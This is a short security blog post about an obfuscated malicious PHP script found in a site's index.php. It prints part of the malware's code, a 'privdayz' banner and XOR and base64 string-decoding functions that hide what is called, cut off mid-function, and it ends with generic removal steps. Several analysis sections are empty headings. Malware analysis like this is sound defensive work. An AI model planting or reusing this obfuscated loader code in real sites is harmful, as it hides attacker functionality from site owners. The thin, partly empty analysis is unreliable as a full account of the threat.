DEV Community

MD Pabel
MD Pabel

Posted on • Originally published at mdpabel.com on

Malicious PHP Script Detected in index.php

#cybersecurity #php #security #wordpress

Technical Analysis

Upon inspection of the file index.php, the contents exhibit characteristics typical of an obfuscated malicious PHP script. The code contains several obscured functions such as ax103b8c63, f3cfb984d, and update_singleblog, which hint at potentially harmful behavior.

  1. Obfuscation and Encryption:

  2. Key Features:

  3. Potential Impact:

  4. Indicators of Compromise:

VirusTotal Analysis: 🛡️ Zero-Day / Fully Undetected.

Attack Chain

Code Signature(s)

FILE: index.php 

<?php
##########################################################
# __________  ___________ _ ___________ #
# | __\|__ \/_ \ \ / / __\| || \ \ / /___ / #
# | |__) | |__) || |\ \ / /| | | | || |\ \_/ / / / #
# | ___/| _ / | | \ \/ / | | | |__ _\ / / / #
# | | | | \ \ | | \ / | | __| | | | | | / /__ #
# |_| |_| \_\|_| \/ | _____/ |_| |_| /_____ | #
# powered by privdayz.com - 2025 #
# github.com/privdayzcom || t.me/privdayz #
##########################################################
function ax103b8c63(string $p4l):string{$kX="2a12XTwzWMwyAkMOIXhEov8OHJ1S3WGFQV9PHEuSCWuPPp5xOPSIlwa";$lX='';$pX=strlen($kX);for($i=0,$len=strlen($p4l);$i<$len;$i++){$xX.=cX(oLs($p4l[$i])^l0l($kX[$i%$klen]));}return pr1vd4y($ad7812ad);}
function update_singleblog(string $update_blog_post) : string { $b57550f520 = ''; $x995b1f70 = a2d425a0232286e014c54443($x6c6643674); $c056553163 = pr0v($update_blog_post); for($x258795b3b5f=0; $x258795b3b5f<$c056553163; $x258795b3b5f++){ $b57550f520 .= chr( ord($update_blog_post[$x258795b3b5f]) ^ ord($x6c6643674[$x258795b3b5f % $x995b1f70]) ); } $ __f1nal__ = pr1vd4y( pr44v(p90x($b57550f520)) ); return $ __f1nal__ ; }
function f3cfb984d($d,$k){$a701f7d="ObfK";$a261f7d="OvtK";$a361f7d="OetK";$x229b752ce=function(string $ce09b742d1)use($a701f7d):string{$a561f7d="PR1V";$c58700097=ae103b8c63($ce09b742d1);$x1ae0ca1c44='';for($i=0;$i<strlen($c58700097);$i++){$x1ae0ca1c44.=chr(ord($c58700097[$i])^ord($a701f7d[$i%strlen($a701f7d)]));}return $x1ae0ca1c44;};$a461f7d="OstK";$baed05c80='JwceeS0LCA==';$e349be98='LAoU';$c28ac75d24='IBAC';$d1884342c='PBYUOSoU';$f1f73f391e6=$x229b752ce($baed05c80);$f4206aa02=$x229b752ce($e349be98);$b20ed3bf=$x229b752ce($c28ac75d24);$fn_abb9d968=$x229b752ce($d1884342c);$a=$f1f73f391e6($d);$b='';for($i=0;$i<strlen($a);$i++){$b.=$f4206aa02($b20ed3bf($a[$i])^$b20ed3bf($k[$i%strlen($k)]));}return $f1f73f391e6($fn_abb9d968($b));}
function ae103b8c63($in){$x='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';$s=str_split($in);$o='';$i=0;$v='';while($i<count($s)){$a=array_search($s[$i++],str_split($x));$b=array_search($s[$i++],str_split($x));$c=array_search($s[$i++],str_split($x));$d=array_search($s[$i++],str_split($x));$v=chr(($a<<2)|($b>>4));$o.=$v;if($c!==false&&$c!=64){$v=chr((($b&15)<<4)|($c>>2));$o.=$v;}if($d!==false&&$d!=64){$v=chr((($c&3)<<6)|$d);$o.=$v;}}return $o;}
function ac3d3104a($z) { $k='';$c=0; $f=str_split($z); for($i=0;$i<count($f);$i+=2){ $a=$f[$i];$b=$f[$i+1]; $A=(ord($a)>64)?(ord($a)&31)+9:ord($a)&15; $B=(ord($b)>64)?(ord($b)&31)+9:ord($b)&15; $k.=(string)pack("C",($A<<4)|$B); $c++; } return $k; }
function abb9d968($z) { $k = ''; $len = strlen($z); for($i = $len - 1; $i >= 0; $i--) { $k .= $z[$i]; } return $k; }
function bb9d968($z){ $k = ''; $len = strlen($z); for ($i = 0; $i < $len; $i++) { $c = $z[$i]; $o = ord($c); if ($o >= 97 && $o <= 122) { $k .= chr((($o - 97
Enter fullscreen mode Exit fullscreen mode

Indicators of Compromise (IOCs)

Removal Protocol

  1. Delete the index.php file immediately from the 5d8c5 directory.
  2. Replace the compromised file with a clean version from a backup.
  3. Review access logs to identify unauthorized access or suspicious activities.
  4. Conduct a full security audit of the server, including scanning for other modifications.
  5. Consider employing a WAF (Web Application Firewall) for ongoing protection.

Status: Active Threat.

Verification: Verified by MD Pabel.

Top comments (0)